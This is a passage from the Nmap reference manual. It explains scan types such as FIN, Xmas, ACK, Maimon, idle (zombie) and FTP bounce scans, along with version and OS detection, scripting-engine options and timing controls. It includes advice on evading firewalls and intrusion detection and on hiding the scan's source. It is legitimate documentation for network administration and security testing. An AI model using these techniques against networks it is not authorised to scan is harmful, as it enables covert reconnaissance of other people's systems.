Does not set any bits (TCP flag header is 0)
FIN scan (-sF)
Sets just the TCP FIN bit.
Xmas scan (-sX)
Sets the FIN, PSH, and URG flags, lighting
the packet up like a Christmas tree.
These three scan types are exactly the same in
behavior except for the TCP flags set in probe
packets. If a RST packet is received, the port
is considered closed, while no response means it
is open|filtered. The port is marked filtered if
an ICMP unreachable error (type 3, code 0, 1, 2,
3, 9, 10, or 13) is received.
The key advantage to these scan types is that
they can sneak through certain non-stateful
firewalls and packet filtering routers. Another
advantage is that these scan types are a little
more stealthy than even a SYN scan. Don't count
on this though—most modern IDS products can be
configured to detect them. The big downside is
that not all systems follow RFC 793 to the
letter. A number of systems send RST responses
to the probes regardless of whether the port is
open or not. This causes all of the ports to be
labeled closed. Major operating systems that do
this are Microsoft Windows, many Cisco devices,
BSDI, and IBM OS/400. This scan does work
against most Unix-based systems though. Another
downside of these scans is that they can't
distinguish open ports from certain filtered
ones, leaving you with the response
open|filtered.
-sA (TCP ACK scan)
This scan is different than the others discussed
so far in that it never determines open (or even
open|filtered) ports. It is used to map out
firewall rulesets, determining whether they are
stateful or not and which ports are filtered.
The ACK scan probe packet has only the ACK flag
set (unless you use --scanflags). When scanning
unfiltered systems, open and closed ports will
both return a RST packet. Nmap then labels them
as unfiltered, meaning that they are reachable
by the ACK packet, but whether they are open or
closed is undetermined. Ports that don't
respond, or send certain ICMP error messages
back (type 3, code 0, 1, 2, 3, 9, 10, or 13),
are labeled filtered.
-sW (TCP Window scan)
Window scan is exactly the same as ACK scan
except that it exploits an implementation detail
of certain systems to differentiate open ports
from closed ones, rather than always printing
unfiltered when a RST is returned. It does this
by examining the TCP Window field of the RST
packets returned. On some systems, open ports
use a positive window size (even for RST
packets) while closed ones have a zero window.
So instead of always listing a port as
unfiltered when it receives a RST back, Window
scan lists the port as open or closed if the TCP
Window value in that reset is positive or zero,
respectively.
This scan relies on an implementation detail of
a minority of systems out on the Internet, so
you can't always trust it. Systems that don't
support it will usually return all ports closed.
Of course, it is possible that the machine
really has no open ports. If most scanned ports
are closed but a few common port numbers (such
as 22, 25, 53) are filtered, the system is most
likely susceptible. Occasionally, systems will
even show the exact opposite behavior. If your
scan shows 1,000 open ports and three closed or
filtered ports, then those three may very well
be the truly open ones.
-sM (TCP Maimon scan)
The Maimon scan is named after its discoverer,
Uriel Maimon. He described the technique in
Phrack Magazine issue #49 (November 1996).
Nmap, which included this technique, was
released two issues later. This technique is
exactly the same as NULL, FIN, and Xmas scans,
except that the probe is FIN/ACK. According to
RFC 793[7] (TCP), a RST packet should be
generated in response to such a probe whether
the port is open or closed. However, Uriel
noticed that many BSD-derived systems simply
drop the packet if the port is open.
--scanflags (Custom TCP scan)
Truly advanced Nmap users need not limit
themselves to the canned scan types offered. The
--scanflags option allows you to design your own
scan by specifying arbitrary TCP flags. Let
your creative juices flow, while evading
intrusion detection systems whose vendors simply
paged through the Nmap man page adding specific
rules!
The --scanflags argument can be a numerical flag
value such as 9 (PSH and FIN), but using
symbolic names is easier. Just mash together any
combination of URG, ACK, PSH, RST, SYN, and FIN.
For example, --scanflags URGACKPSHRSTSYNFIN sets
everything, though it's not very useful for
scanning. The order these are specified in is
irrelevant.
In addition to specifying the desired flags, you
can specify a TCP scan type (such as -sA or
-sF). That base type tells Nmap how to interpret
responses. For example, a SYN scan considers
no-response to indicate a filtered port, while a
FIN scan treats the same as open|filtered. Nmap
will behave the same way it does for the base
scan type, except that it will use the TCP flags
you specify instead. If you don't specify a base
type, SYN scan is used.
-sZ (SCTP COOKIE ECHO scan)
SCTP COOKIE ECHO scan is a more advanced SCTP
scan. It takes advantage of the fact that SCTP
implementations should silently drop packets
containing COOKIE ECHO chunks on open ports, but
send an ABORT if the port is closed. The
advantage of this scan type is that it is not as
obvious a port scan than an INIT scan. Also,
there may be non-stateful firewall rulesets
blocking INIT chunks, but not COOKIE ECHO
chunks. Don't be fooled into thinking that this
will make a port scan invisible; a good IDS will
be able to detect SCTP COOKIE ECHO scans too.
The downside is that SCTP COOKIE ECHO scans
cannot differentiate between open and filtered
ports, leaving you with the state open|filtered
in both cases.
-sI zombie host[:probeport] (idle scan)
This advanced scan method allows for a truly
blind TCP port scan of the target (meaning no
packets are sent to the target from your real IP
address). Instead, a unique side-channel attack
exploits predictable IP fragmentation ID
sequence generation on the zombie host to glean
information about the open ports on the target.
IDS systems will display the scan as coming from
the zombie machine you specify (which must be up
and meet certain criteria). This fascinating
scan type is too complex to fully describe in
this reference guide, so I wrote and posted an
informal paper with full details at
https://nmap.org/book/idlescan.html.
Besides being extraordinarily stealthy (due to
its blind nature), this scan type permits
mapping out IP-based trust relationships between
machines. The port listing shows open ports from
the perspective of the zombie host. So you can
try scanning a target using various zombies that
you think might be trusted (via router/packet
filter rules).
You can add a colon followed by a port number to
the zombie host if you wish to probe a
particular port on the zombie for IP ID changes.
Otherwise Nmap will use the port it uses by
default for TCP pings (80).
-sO (IP protocol scan)
IP protocol scan allows you to determine which
IP protocols (TCP, ICMP, IGMP, etc.) are
supported by target machines. This isn't
technically a port scan, since it cycles through
IP protocol numbers rather than TCP or UDP port
numbers. Yet it still uses the -p option to
select scanned protocol numbers, reports its
results within the normal port table format, and
even uses the same underlying scan engine as the
true port scanning methods. So it is close
enough to a port scan that it belongs here.
Besides being useful in its own right, protocol
scan demonstrates the power of open-source
software. While the fundamental idea is pretty
simple, I had not thought to add it nor received
any requests for such functionality. Then in the
summer of 2000, Gerhard Rieger conceived the
idea, wrote an excellent patch implementing it,
and sent it to the announce mailing list (then
called nmap-hackers). I incorporated that patch
into the Nmap tree and released a new version
the next day. Few pieces of commercial software
have users enthusiastic enough to design and
contribute their own improvements!
Protocol scan works in a similar fashion to UDP
scan. Instead of iterating through the port
number field of a UDP packet, it sends IP packet
headers and iterates through the eight-bit IP
protocol field. The headers are usually empty,
containing no data and not even the proper
header for the claimed protocol. The exceptions
are TCP, UDP, ICMP, SCTP, and IGMP. A proper
protocol header for those is included since some
systems won't send them otherwise and because
Nmap already has functions to create them.
Instead of watching for ICMP port unreachable
messages, protocol scan is on the lookout for
ICMP protocol unreachable messages. If Nmap
receives any response in any protocol from the
target host, Nmap marks that protocol as open.
An ICMP protocol unreachable error (type 3, code
2) causes the protocol to be marked as closed
while port unreachable (type 3, code 3) marks
the protocol open. Other ICMP unreachable errors
(type 3, code 0, 1, 9, 10, or 13) cause the
protocol to be marked filtered (though they
prove that ICMP is open at the same time). If no
response is received after retransmissions, the
protocol is marked open|filtered
-b FTP relay host (FTP bounce scan)
An interesting feature of the FTP protocol (RFC
959[8]) is support for so-called proxy FTP
connections. This allows a user to connect to
one FTP server, then ask that files be sent to a
third-party server. Such a feature is ripe for
abuse on many levels, so most servers have
ceased supporting it. One of the abuses this
feature allows is causing the FTP server to port
scan other hosts. Simply ask the FTP server to
send a file to each interesting port of a target
host in turn. The error message will describe
whether the port is open or not. This is a good
way to bypass firewalls because organizational
FTP servers are often placed where they have
more access to other internal hosts than any old
Internet host would. Nmap supports FTP bounce
scan with the -b option. It takes an argument of
the form username:password@server:port. Server
is the name or IP address of a vulnerable FTP
server. As with a normal URL, you may omit
username:password, in which case anonymous login
credentials (user: anonymous password:-wwwuser@)
are used. The port number (and preceding colon)
may be omitted as well, in which case the
default FTP port (21) on server is used.
This vulnerability was widespread in 1997 when
Nmap was released, but has largely been fixed.
Vulnerable servers are still around, so it is
worth trying when all else fails. If bypassing a
firewall is your goal, scan the target network
for port 21 (or even for any FTP services if you
scan all ports with version detection) and use
the ftp-bounce NSE script. Nmap will tell you
whether the host is vulnerable or not. If you
are just trying to cover your tracks, you don't
need to (and, in fact, shouldn't) limit yourself
to hosts on the target network. Before you go
scanning random Internet addresses for
vulnerable FTP servers, consider that sysadmins
may not appreciate you abusing their servers in
this way.
PORT SPECIFICATION AND SCAN ORDER
In addition to all of the scan methods discussed
previously, Nmap offers options for specifying which
ports are scanned and whether the scan order is
randomized or sequential. By default, Nmap scans the
most common 1,000 ports for each protocol.
-p port ranges (Only scan specified ports)
This option specifies which ports you want to
scan and overrides the default. Individual port
numbers are OK, as are ranges separated by a
hyphen (e.g. 1-1023). The beginning and/or end
values of a range may be omitted, causing Nmap
to use 1 and 65535, respectively. So you can
specify -p- to scan ports from 1 through 65535.
Scanning port zero is allowed if you specify it
explicitly. For IP protocol scanning (-sO), this
option specifies the protocol numbers you wish
to scan for (0–255).
When scanning a combination of protocols (e.g.
TCP and UDP), you can specify a particular
protocol by preceding the port numbers by T: for
TCP, U: for UDP, S: for SCTP, or P: for IP
Protocol. The qualifier lasts until you specify
another qualifier. For example, the argument -p
U:53,111,137,T:21-25,80,139,8080 would scan UDP
ports 53, 111,and 137, as well as the listed TCP
ports. Note that to scan both UDP and TCP, you
have to specify -sU and at least one TCP scan
type (such as -sS, -sF, or -sT). If no protocol
qualifier is given, the port numbers are added
to all protocol lists. Ports can also be
specified by name according to what the port is
referred to in the nmap-services. You can even
use the wildcards * and ? with the names. For
example, to scan FTP and all ports whose names
begin with “http”, use -p ftp,http*. Be careful
about shell expansions and quote the argument to
-p if unsure.
Ranges of ports can be surrounded by square
brackets to indicate ports inside that range
that appear in nmap-services. For example, the
following will scan all ports in nmap-services
equal to or below 1024: -p [-1024]. Be careful
with shell expansions and quote the argument to
-p if unsure.
--exclude-ports port ranges (Exclude the specified
ports from scanning)
This option specifies which ports you do want
Nmap to exclude from scanning. The port ranges
are specified similar to -p. For IP protocol
scanning (-sO), this option specifies the
protocol numbers you wish to exclude (0–255).
When ports are asked to be excluded, they are
excluded from all types of scans (i.e. they will
not be scanned under any circumstances). This
also includes the discovery phase.
-F (Fast (limited port) scan)
Specifies that you wish to scan fewer ports than
the default. Normally Nmap scans the most common
1,000 ports for each scanned protocol. With -F,
this is reduced to 100.
Nmap needs an nmap-services file with frequency
information in order to know which ports are the
most common. If port frequency information isn't
available, perhaps because of the use of a
custom nmap-services file, Nmap scans all named
ports plus ports 1-1024. In that case, -F means
to scan only ports that are named in the
services file.
-r (Don't randomize ports)
By default, Nmap randomizes the scanned port
order (except that certain commonly accessible
ports are moved near the beginning for
efficiency reasons). This randomization is
normally desirable, but you can specify -r for
sequential (sorted from lowest to highest) port
scanning instead.
--port-ratio ratio<decimal number between 0 and 1>
Scans all ports in nmap-services file with a
ratio greater than the one given. ratio must be
between 0.0 and 1.0.
--top-ports n
Scans the n highest-ratio ports found in
nmap-services file after excluding all ports
specified by --exclude-ports. n must be 1 or
greater.
SERVICE AND VERSION DETECTION
Point Nmap at a remote machine and it might tell you
that ports 25/tcp, 80/tcp, and 53/udp are open.
Using its nmap-services database of about 2,200
well-known services, Nmap would report that those
ports probably correspond to a mail server (SMTP),
web server (HTTP), and name server (DNS)
respectively. This lookup is usually accurate—the
vast majority of daemons listening on TCP port 25
are, in fact, mail servers. However, you should not
bet your security on this! People can and do run
services on strange ports.
Even if Nmap is right, and the hypothetical server
above is running SMTP, HTTP, and DNS servers, that
is not a lot of information. When doing
vulnerability assessments (or even simple network
inventories) of your companies or clients, you
really want to know which mail and DNS servers and
versions are running. Having an accurate version
number helps dramatically in determining which
exploits a server is vulnerable to. Version
detection helps you obtain this information.
After TCP and/or UDP ports are discovered using one
of the other scan methods, version detection
interrogates those ports to determine more about
what is actually running. The nmap-service-probes
database contains probes for querying various
services and match expressions to recognize and
parse responses. Nmap tries to determine the service
protocol (e.g. FTP, SSH, Telnet, HTTP), the
application name (e.g. ISC BIND, Apache httpd,
Solaris telnetd), the version number, hostname,
device type (e.g. printer, router), the OS family
(e.g. Windows, Linux). When possible, Nmap also gets
the Common Platform Enumeration (CPE) representation
of this information. Sometimes miscellaneous details
like whether an X server is open to connections, the
SSH protocol version, or the KaZaA user name, are
available. Of course, most services don't provide
all of this information. If Nmap was compiled with
OpenSSL support, it will connect to SSL servers to
deduce the service listening behind that encryption
layer. Some UDP ports are left in the open|filtered
state after a UDP port scan is unable to determine
whether the port is open or filtered. Version
detection will try to elicit a response from these
ports (just as it does with open ports), and change
the state to open if it succeeds. open|filtered TCP
ports are treated the same way. Note that the Nmap
-A option enables version detection among other
things. A paper documenting the workings, usage,
and customization of version detection is available
at https://nmap.org/book/vscan.html.
When RPC services are discovered, the Nmap RPC
grinder is automatically used to determine the RPC
program and version numbers. It takes all the
TCP/UDP ports detected as RPC and floods them with
SunRPC program NULL commands in an attempt to
determine whether they are RPC ports, and if so,
what program and version number they serve up. Thus
you can effectively obtain the same info as rpcinfo
-p even if the target's portmapper is behind a
firewall (or protected by TCP wrappers). Decoys do
not currently work with RPC scan.
When Nmap receives responses from a service but
cannot match them to its database, it prints out a
special fingerprint and a URL for you to submit it
to if you know for sure what is running on the port.
Please take a couple minutes to make the submission
so that your find can benefit everyone. Thanks to
these submissions, Nmap has about 6,500 pattern
matches for more than 650 protocols such as SMTP,
FTP, HTTP, etc.
Version detection is enabled and controlled with the
following options:
-sV (Version detection)
Enables version detection, as discussed above.
Alternatively, you can use -A, which enables
version detection among other things.
-sR is an alias for -sV. Prior to March 2011, it
was used to active the RPC grinder separately
from version detection, but now these options
are always combined.
--allports (Don't exclude any ports from version
detection)
By default, Nmap version detection skips TCP
port 9100 because some printers simply print
anything sent to that port, leading to dozens of
pages of HTTP GET requests, binary SSL session
requests, etc. This behavior can be changed by
modifying or removing the Exclude directive in
nmap-service-probes, or you can specify
--allports to scan all ports regardless of any
Exclude directive.
--version-intensity intensity (Set version scan
intensity)
When performing a version scan (-sV), Nmap sends
a series of probes, each of which is assigned a
rarity value between one and nine. The
lower-numbered probes are effective against a
wide variety of common services, while the
higher-numbered ones are rarely useful. The
intensity level specifies which probes should be
applied. The higher the number, the more likely
it is the service will be correctly identified.
However, high intensity scans take longer. The
intensity must be between 0 and 9. The default
is 7. When a probe is registered to the target
port via the nmap-service-probes ports
directive, that probe is tried regardless of
intensity level. This ensures that the DNS
probes will always be attempted against any open
port 53, the SSL probe will be done against 443,
etc.
--version-light (Enable light mode)
This is a convenience alias for
--version-intensity 2. This light mode makes
version scanning much faster, but it is slightly
less likely to identify services.
--version-all (Try every single probe)
An alias for --version-intensity 9, ensuring
that every single probe is attempted against
each port.
--version-trace (Trace version scan activity)
This causes Nmap to print out extensive
debugging info about what version scanning is
doing. It is a subset of what you get with
--packet-trace.
OS DETECTION
One of Nmap's best-known features is remote OS
detection using TCP/IP stack fingerprinting. Nmap
sends a series of TCP and UDP packets to the remote
host and examines practically every bit in the
responses. After performing dozens of tests such as
TCP ISN sampling, TCP options support and ordering,
IP ID sampling, and the initial window size check,
Nmap compares the results to its nmap-os-db database
of more than 2,600 known OS fingerprints and prints
out the OS details if there is a match. Each
fingerprint includes a freeform textual description
of the OS, and a classification which provides the
vendor name (e.g. Sun), underlying OS (e.g.
Solaris), OS generation (e.g. 10), and device type
(general purpose, router, switch, game console,
etc). Most fingerprints also have a Common Platform
Enumeration (CPE) representation, like
cpe:/o:linux:linux_kernel:2.6.
If Nmap is unable to guess the OS of a machine, and
conditions are good (e.g. at least one open port and
one closed port were found), Nmap will provide a URL
you can use to submit the fingerprint if you know
(for sure) the OS running on the machine. By doing
this you contribute to the pool of operating systems
known to Nmap and thus it will be more accurate for
everyone.
OS detection enables some other tests which make use
of information that is gathered during the process
anyway. One of these is TCP Sequence Predictability
Classification. This measures approximately how hard
it is to establish a forged TCP connection against
the remote host. It is useful for exploiting
source-IP based trust relationships (rlogin,
firewall filters, etc) or for hiding the source of
an attack. This sort of spoofing is rarely performed
any more, but many machines are still vulnerable to
it. The actual difficulty number is based on
statistical sampling and may fluctuate. It is
generally better to use the English classification
such as “worthy challenge” or “trivial joke”. This
is only reported in normal output in verbose (-v)
mode. When verbose mode is enabled along with -O, IP
ID sequence generation is also reported. Most
machines are in the “incremental” class, which means
that they increment the ID field in the IP header
for each packet they send. This makes them
vulnerable to several advanced information gathering
and spoofing attacks.
Another bit of extra information enabled by OS
detection is a guess at a target's uptime. This uses
the TCP timestamp option (RFC 1323[9]) to guess when
a machine was last rebooted. The guess can be
inaccurate due to the timestamp counter not being
initialized to zero or the counter overflowing and
wrapping around, so it is printed only in verbose
mode.
A paper documenting the workings, usage, and
customization of OS detection is available at
https://nmap.org/book/osdetect.html.
OS detection is enabled and controlled with the
following options:
-O (Enable OS detection)
Enables OS detection, as discussed above.
Alternatively, you can use -A to enable OS
detection along with other things.
--osscan-limit (Limit OS detection to promising
targets)
OS detection is far more effective if at least
one open and one closed TCP port are found. Set
this option and Nmap will not even try OS
detection against hosts that do not meet this
criteria. This can save substantial time,
particularly on -Pn scans against many hosts. It
only matters when OS detection is requested with
-O or -A.
--osscan-guess; --fuzzy (Guess OS detection results)
When Nmap is unable to detect a perfect OS
match, it sometimes offers up near-matches as
possibilities. The match has to be very close
for Nmap to do this by default. Either of these
(equivalent) options make Nmap guess more
aggressively. Nmap will still tell you when an
imperfect match is printed and display its
confidence level (percentage) for each guess.
--max-os-tries (Set the maximum number of OS
detection tries against a target)
When Nmap performs OS detection against a target
and fails to find a perfect match, it usually
repeats the attempt. By default, Nmap tries five
times if conditions are favorable for OS
fingerprint submission, and twice when
conditions aren't so good. Specifying a lower
--max-os-tries value (such as 1) speeds Nmap up,
though you miss out on retries which could
potentially identify the OS. Alternatively, a
high value may be set to allow even more retries
when conditions are favorable. This is rarely
done, except to generate better fingerprints for
submission and integration into the Nmap OS
database.
NMAP SCRIPTING ENGINE (NSE)
The Nmap Scripting Engine (NSE) is one of Nmap's
most powerful and flexible features. It allows users
to write (and share) simple scripts (using the Lua
programming language[10]
) to automate a wide variety of networking tasks.
Those scripts are executed in parallel with the
speed and efficiency you expect from Nmap. Users can
rely on the growing and diverse set of scripts
distributed with Nmap, or write their own to meet
custom needs.
Tasks we had in mind when creating the system
include network discovery, more sophisticated
version detection, vulnerability detection. NSE can
even be used for vulnerability exploitation.
To reflect those different uses and to simplify the
choice of which scripts to run, each script contains
a field associating it with one or more categories.
Currently defined categories are auth, broadcast,
default. discovery, dos, exploit, external, fuzzer,
intrusive, malware, safe, version, and vuln. These
are all described at
https://nmap.org/book/nse-usage.html#nse-categories.
Scripts are not run in a sandbox and thus could
accidentally or maliciously damage your system or
invade your privacy. Never run scripts from third
parties unless you trust the authors or have
carefully audited the scripts yourself.
The Nmap Scripting Engine is described in detail at
https://nmap.org/book/nse.html
and is controlled by the following options:
-sC
Performs a script scan using the default set of
scripts. It is equivalent to --script=default.
Some of the scripts in this category are
considered intrusive and should not be run
against a target network without permission.
--script
filename|category|directory/|expression[,...]
Runs a script scan using the comma-separated
list of filenames, script categories, and
directories. Each element in the list may also
be a Boolean expression describing a more
complex set of scripts. Each element is
interpreted first as an expression, then as a
category, and finally as a file or directory
name.
There are two special features for advanced
users only. One is to prefix script names and
expressions with + to force them to run even if
they normally wouldn't (e.g. the relevant
service wasn't detected on the target port). The
other is that the argument all may be used to
specify every script in Nmap's database. Be
cautious with this because NSE contains
dangerous scripts such as exploits, brute force
authentication crackers, and denial of service
attacks.
File and directory names may be relative or
absolute. Absolute names are used directly.
Relative paths are looked for in the scripts of
each of the following places until found:
--datadir
$NMAPDIR
~/.nmap (not searched on Windows)
APPDATA\nmap (only on Windows)
the directory containing the nmap executable
the directory containing the nmap
executable, followed by ../share/nmap (not
searched on Windows)
NMAPDATADIR (not searched on Windows)
the current directory.
When a directory name ending in / is given, Nmap
loads every file in the directory whose name
ends with .nse. All other files are ignored and
directories are not searched recursively. When a
filename is given, it does not have to have the
.nse extension; it will be added automatically
if necessary. Nmap scripts are stored in a
scripts subdirectory of the Nmap data directory
by default (see
https://nmap.org/book/data-files.html).
For efficiency, scripts are indexed in a
database stored in scripts/script.db, which
lists the category or categories in which each
script belongs. When referring to scripts from
script.db by name, you can use a shell-style ‘*’
wildcard.
nmap --script "http-*"
Loads all scripts whose name starts with
http-, such as http-auth and
http-open-proxy. The argument to --script
had to be in quotes to protect the wildcard
from the shell.
More complicated script selection can be done
using the and, or, and not operators to build
Boolean expressions. The operators have the same
precedence[11] as in Lua: not is the highest,
followed by and and then or. You can alter
precedence by using parentheses. Because
expressions contain space characters it is
necessary to quote them.
nmap --script "not intrusive"
Loads every script except for those in the
intrusive category.
nmap --script "default or safe"
This is functionally equivalent to nmap
--script "default,safe". It loads all
scripts that are in the default category or
the safe category or both.
nmap --script "default and safe"
Loads those scripts that are in both the
default and safe categories.
nmap --script "(default or safe or intrusive)
and not http-*"
Loads scripts in the default, safe, or
intrusive categories, except for those whose
names start with http-.
--script-args n1=v1,n2={n3=v3},n4={v4,v5}
Lets you provide arguments to NSE scripts.
Arguments are a comma-separated list of
name=value pairs. Names and values may be
strings not containing whitespace or the
characters ‘{’, ‘}’, ‘=’, or ‘,’. To include one
of these characters in a string, enclose the
string in single or double quotes. Within a
quoted string, ‘\’ escapes a quote. A backslash
is only used to escape quotation marks in this
special case; in all other cases a backslash is
interpreted literally. Values may also be tables
enclosed in {}, just as in Lua. A table may
contain simple string values or more name-value
pairs, including nested tables. Many scripts
qualify their arguments with the script name, as
in xmpp-info.server_name. You may use that full
qualified version to affect just the specified
script, or you may pass the unqualified version
(server_name in this case) to affect all scripts
using that argument name. A script will first
check for its fully qualified argument name (the
name specified in its documentation) before it
accepts an unqualified argument name. A complex
example of script arguments is --script-args
'user=foo,pass=",{}=bar",whois={whodb=nofollow+ripe},xmpp-info.server_name=localhost'.
The online NSE Documentation Portal at
https://nmap.org/nsedoc/ lists the arguments
that each script accepts.
--script-args-file filename
Lets you load arguments to NSE scripts from a
file. Any arguments on the command line
supersede ones in the file. The file can be an
absolute path, or a path relative to Nmap's
usual search path (NMAPDIR, etc.) Arguments can
be comma-separated or newline-separated, but
otherwise follow the same rules as for
--script-args, without requiring special quoting
and escaping, since they are not parsed by the
shell.
--script-help
filename|category|directory|expression|all[,...]
Shows help about scripts. For each script
matching the given specification, Nmap prints
the script name, its categories, and its
description. The specifications are the same as
those accepted by --script; so for example if
you want help about the ftp-anon script, you
would run nmap --script-help ftp-anon. In
addition to getting help for individual scripts,
you can use this as a preview of what scripts
will be run for a specification, for example
with nmap --script-help default.
--script-trace
This option does what --packet-trace does, just
one ISO layer higher. If this option is
specified all incoming and outgoing
communication performed by a script is printed.
The displayed information includes the
communication protocol, the source, the target
and the transmitted data. If more than 5% of all
transmitted data is not printable, then the
trace output is in a hex dump format. Specifying
--packet-trace enables script tracing too.
--script-updatedb
This option updates the script database found in
scripts/script.db which is used by Nmap to
determine the available default scripts and
categories. It is only necessary to update the
database if you have added or removed NSE
scripts from the default scripts directory or if
you have changed the categories of any script.
This option is generally used by itself: nmap
--script-updatedb.
TIMING AND PERFORMANCE
One of my highest Nmap development priorities has
always been performance. A default scan (nmap
hostname) of a host on my local network takes a
fifth of a second. That is barely enough time to
blink, but adds up when you are scanning hundreds or
thousands of hosts. Moreover, certain scan options
such as UDP scanning and version detection can
increase scan times substantially. So can certain
firewall configurations, particularly response rate
limiting. While Nmap utilizes parallelism and many
advanced algorithms to accelerate these scans, the
user has ultimate control over how Nmap runs. Expert
users carefully craft Nmap commands to obtain only
the information they care about while meeting their
time constraints.
Techniques for improving scan times include omitting
non-critical tests, and upgrading to the latest
version of Nmap (performance enhancements are made
frequently). Optimizing timing parameters can also
make a substantial difference. Those options are
listed below.
Some options accept a time parameter. This is
specified in seconds by default, though you can
append ‘ms’, ‘s’, ‘m’, or ‘h’ to the value to
specify milliseconds, seconds, minutes, or hours. So
the --host-timeout arguments 900000ms, 900, 900s,
and 15m all do the same thing.
--min-hostgroup numhosts; --max-hostgroup numhosts
(Adjust parallel scan group sizes)
Nmap has the ability to port scan or version
scan multiple hosts in parallel. Nmap does this
by dividing the target IP space into groups and
then scanning one group at a time. In general,
larger groups are more efficient. The downside
is that host results can't be provided until the
whole group is finished. So if Nmap started out
with a group size of 50, the user would not
receive any reports (except for the updates
offered in verbose mode) until the first 50
hosts are completed.
By default, Nmap takes a compromise approach to
this conflict. It starts out with a group size
as low as five so the first results come quickly
and then increases the groupsize to as high as
1024. The exact default numbers depend on the
options given. For efficiency reasons, Nmap uses
larger group sizes for UDP or few-port TCP
scans.
When a maximum group size is specified with
--max-hostgroup, Nmap will never exceed that
size. Specify a minimum size with
--min-hostgroup and Nmap will try to keep group
sizes above that level. Nmap may have to use
smaller groups than you specify if there are not
enough target hosts left on a given interface to
fulfill the specified minimum. Both may be set
to keep the group size within a specific range,
though this is rarely desired.
These options do not have an effect during the
host discovery phase of a scan. This includes
plain ping scans (-sn). Host discovery always
works in large groups of hosts to improve speed
and accuracy.
The primary use of these options is to specify a
large minimum group size so that the full scan
runs more quickly. A common choice is 256 to
scan a network in /24 sized chunks. For a scan
with many ports, exceeding that number is
unlikely to help much. For scans of just a few
port numbers, host group sizes of 2048 or more
may be helpful.
--min-parallelism numprobes; --max-parallelism
numprobes (Adjust probe parallelization)
These options control the total number of probes
that may be outstanding for a host group. They
are used for port scanning and host discovery.
By default, Nmap calculates an ever-changing
ideal parallelism based on network performance.
If packets are being dropped, Nmap slows down
and allows fewer outstanding probes. The ideal
probe number slowly rises as the network proves
itself worthy. These options place minimum or
maximum bounds on that variable. By default, the
ideal parallelism can drop to one if the network
proves unreliable and rise to several hundred in
perfect conditions.
The most common usage is to set
--min-parallelism to a number higher than one to
speed up scans of poorly performing hosts or
networks. This is a risky option to play with,
as setting it too high may affect accuracy.
Setting this also reduces Nmap's ability to
control parallelism dynamically based on network
conditions. A value of 10 might be reasonable,
though I only adjust this value as a last
resort.
The --max-parallelism option is sometimes set to
one to prevent Nmap from sending more than one
probe at a time to hosts. The --scan-delay
option, discussed later, is another way to do
this.
--min-rtt-timeout time, --max-rtt-timeout time,
--initial-rtt-timeout time (Adjust probe timeouts)
Nmap maintains a running timeout value for
determining how long it will wait for a probe
response before giving up or retransmitting the
probe. This is calculated based on the response
times of previous probes.
If the network latency shows itself to be
significant and variable, this timeout can grow
to several seconds. It also starts at a
conservative (high) level and may stay that way
for a while when Nmap scans unresponsive hosts.
Specifying a lower --max-rtt-timeout and
--initial-rtt-timeout than the defaults can cut
scan times significantly. This is particularly
true for pingless (-Pn) scans, and those against
heavily filtered networks. Don't get too
aggressive though. The scan can end up taking
longer if you specify such a low value that many
probes are timing out and retransmitting while
the response is in transit.
If all the hosts are on a local network, 100
milliseconds (--max-rtt-timeout 100ms) is a
reasonable aggressive value. If routing is
involved, ping a host on the network first with
the ICMP ping utility, or with a custom packet
crafter such as Nping that is more likely to get
through a firewall. Look at the maximum round
trip time out of ten packets or so. You might
want to double that for the
--initial-rtt-timeout and triple or quadruple it
for the --max-rtt-timeout. I generally do not
set the maximum RTT below 100 ms, no matter what
the ping times are. Nor do I exceed 1000 ms.
--min-rtt-timeout is a rarely used option that
could be useful when a network is so unreliable
that even Nmap's default is too aggressive.
Since Nmap only reduces the timeout down to the
minimum when the network seems to be reliable,
this need is unusual and should be reported as a
bug to the nmap-dev mailing list.
--max-retries numtries (Specify the maximum number
of port scan probe retransmissions)
When Nmap receives no response to a port scan
probe, it could mean the port is filtered. Or
maybe the probe or response was simply lost on
the network. It is also possible that the target
host has rate limiting enabled that temporarily
blocked the response. So Nmap tries again by
retransmitting the initial probe. If Nmap
detects poor network reliability, it may try
many more times before giving up on a port.
While this benefits accuracy, it also lengthens
scan times. When performance is critical, scans
may be sped up by limiting the number of
retransmissions allowed. You can even specify
--max-retries 0 to prevent any retransmissions,
though that is only recommended for situations
such as informal surveys where occasional missed
ports and hosts are acceptable.
The default (with no -T template) is to allow
ten retransmissions. If a network seems reliable
and the target hosts aren't rate limiting, Nmap
usually only does one retransmission. So most
target scans aren't even affected by dropping
--max-retries to a low value such as three. Such
values can substantially speed scans of slow
(rate limited) hosts. You usually lose some
information when Nmap gives up on ports early,
though that may be preferable to letting the
--host-timeout expire and losing all information
about the target.
--host-timeout time (Give up on slow target hosts)
Some hosts simply take a long time to scan. This
may be due to poorly performing or unreliable
networking hardware or software, packet rate
limiting, or a restrictive firewall. The slowest
few percent of the scanned hosts can eat up a
majority of the scan time. Sometimes it is best
to cut your losses and skip those hosts
initially. Specify --host-timeout with the
maximum amount of time you are willing to wait.
For example, specify 30m to ensure that Nmap
doesn't waste more than half an hour on a single
host. Note that Nmap may be scanning other hosts
at the same time during that half an hour, so it
isn't a complete loss. A host that times out is
skipped. No port table, OS detection, or version
detection results are printed for that host.
The special value 0 can be used to mean “no
timeout”, which can be used to override the T5
timing template, which sets the host timeout to
15 minutes.
--script-timeout time
While some scripts complete in fractions of a
second, others can take hours or more depending
on the nature of the script, arguments passed
in, network and application conditions, and
more. The --script-timeout option sets a ceiling
on script execution time. Any script instance
which exceeds that time will be terminated and
no output will be shown. If debugging (-d) is
enabled, Nmap will report on each timeout. For
host and service scripts, a script instance only
scans a single target host or port and the
timeout period will be reset for the next
instance.
The special value 0 can be used to mean “no
timeout”, which can be used to override the T5
timing template, which sets the script timeout
to 10 minutes.
--scan-delay time; --max-scan-delay time (Adjust
delay between probes)
This option causes Nmap to wait at least the
given amount of time between each probe it sends
to a given host. This is particularly useful in
the case of rate limiting. Solaris machines
(among many others) will usually respond to UDP
scan probe packets with only one ICMP message
per second. Any more than that sent by Nmap will
be wasteful. A --scan-delay of 1s will keep Nmap
at that slow rate. Nmap tries to detect rate
limiting and adjust the scan delay accordingly,
but it doesn't hurt to specify it explicitly if
you already know what rate works best.
When Nmap adjusts the scan delay upward to cope
with rate limiting, the scan slows down
dramatically. The --max-scan-delay option
specifies the largest delay that Nmap will
allow. A low --max-scan-delay can speed up Nmap,
but it is risky. Setting this value too low can
lead to wasteful packet retransmissions and
possible missed ports when the target implements
strict rate limiting.
Another use of --scan-delay is to evade
threshold based intrusion detection and
prevention systems (IDS/IPS).
--min-rate number; --max-rate number (Directly
control the scanning rate)
Nmap's dynamic timing does a good job of finding
